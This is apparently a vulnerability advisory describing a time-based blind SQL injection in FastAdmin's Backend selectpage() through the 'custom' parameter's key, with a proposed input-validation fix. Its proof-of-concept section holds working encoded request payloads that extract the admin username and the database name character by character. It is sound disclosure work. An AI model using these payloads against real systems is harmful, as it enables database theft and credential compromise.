Logo fastadmin 1.7.0.20250506 - SQL injection

fastadmin 1.7.0.20250506 - SQL injection

Title: SQL Injection Vulnerability in FastAdmin ≤ 1.7.0.20250506 (custom parameter)#

BUG_Author: pemic

Affected Version: FastAdmin ≤ 1.7.0.20250506

Vendor: FastAdmin Official

Software: FastAdmin GitHub Repository

Vulnerability Files:

  • application/common/controller/Backend.php

Description:#

A time-based blind SQL injection vulnerability exists in the selectpage() method of FastAdmin's Backend controller. The vulnerability is caused by insufficient sanitization of the custom parameter's field name before it is used in database queries.

Vulnerability Analysis:#

  1. Root Cause:

    • In file application/common/controller/Backend.php, lines 531-538, the custom parameter allows users to pass custom WHERE conditions.

    • The field name (array key) is directly used in the where() method without proper validation:

    if ($custom && is_array($custom)) {
       foreach ($custom as $k => $v) {
           if (is_array($v) && 2 == count($v)) {
               $query->where($k, trim($v[0]), $v[1]);
          } else {
               $query->where($k, '=', $v);
          }
      }
    }
    • The variable $k (field name) is never sanitized, allowing SQL injection through the parameter key.

  2. Attack Vector:

    • An authenticated backend user can inject SQL statements through the custom parameter's key name.

    • The injection point is in the WHERE clause, making time-based blind injection possible.

Proof of Concept:#

Prerequisites: 

  • Valid backend account (any privilege level)

  • Access to admin panel

Step 1: Login to admin panel

POST /admin.php/index/login
username=admin&password=admin123

Step 2: Send malicious request with SQL injection payload

Prerequisites: All requests must include X-Requested-With: XMLHttpRequest header, otherwise the vulnerable code path will not be triggered.

Normal request:

Decoded: custom[id]=1

GET /admin.php/auth/admin/index?keyField=id&custom%5Bid%5D=1

Time-based SQL injection (2 second delay):

Decoded: custom[id)and(sleep(2))and(1]=1

GET /admin.php/auth/admin/index?keyField=id&custom%5Bid%29and%28sleep%282%29%29and%281%5D=1

Step 3: Extracting data using conditional time-based injection

Extract first character of admin username (expected: 'a'):

Decoded: custom[id)and(select case when substring((select username from fa_admin limit 1)from 1 for 1)='a' then sleep(2) else 1 end)and(1]=1

GET /admin.php/auth/admin/index?keyField=id&custom%5Bid%29and%28select%20case%20when%20substring%28%28select%20username%20from%20fa_admin%20limit%201%29from%201%20for%201%29%3D%27a%27%20then%20sleep%282%29%20else%201%20end%29and%281%5D=1
  • If response delays ~2 seconds → character matches

  • If response is immediate → character does not match

Extract first character of database name (expected: 'f' for 'fastadmin'):

Decoded: custom[id)and(select case when substring(database()from 1 for 1)='f' then sleep(2) else 1 end)and(1]=1

GET /admin.php/auth/admin/index?keyField=id&custom%5Bid%29and%28select%20case%20when%20substring%28database%28%29from%201%20for%201%29%3D%27f%27%20then%20sleep%282%29%20else%201%20end%29and%281%5D=1

Step 4: Verify exploitation

TestPayloadExpected Response Time
Baselinecustom[id]=1~0.03s
sleep(2)custom[id)and(sleep(2))and(1]=1~2.0s
sleep(4)custom[id)and(sleep(4))and(1]=1~4.0s
Condition TRUE...username...='a'...sleep(2)...~2.0s
Condition FALSE...username...='z'...sleep(2)...~0.03s

Impact:#

An attacker with any backend account can:

  • Extract sensitive data from database (usernames, password hashes, tokens)

  • Retrieve database structure information (database name, table names, column names)

  • Potentially escalate privileges by obtaining admin credentials

  • Access all data stored in the database

Tested Environment:#

  • FastAdmin Version: 1.7.0.20250506

  • PHP Version: 7.4

  • MySQL Version: 5.7.44

  • ThinkPHP Version: 5.0.24

Suggested Fix:#

Add validation for the custom parameter field names in Backend.php:

if ($custom && is_array($custom)) {
   foreach ($custom as $k => $v) {
       // Validate field name - only allow alphanumeric and underscore
       if (!preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', $k)) {
           continue;
      }
       if (is_array($v) && 2 == count($v)) {
           $query->where($k, trim($v[0]), $v[1]);
      } else {
           $query->where($k, '=', $v);
      }
  }
}

Timeline:#

  • 2025-12-18: Vulnerability discovered

  • 2025-12-18: Report submitted to VulDB

Last updated on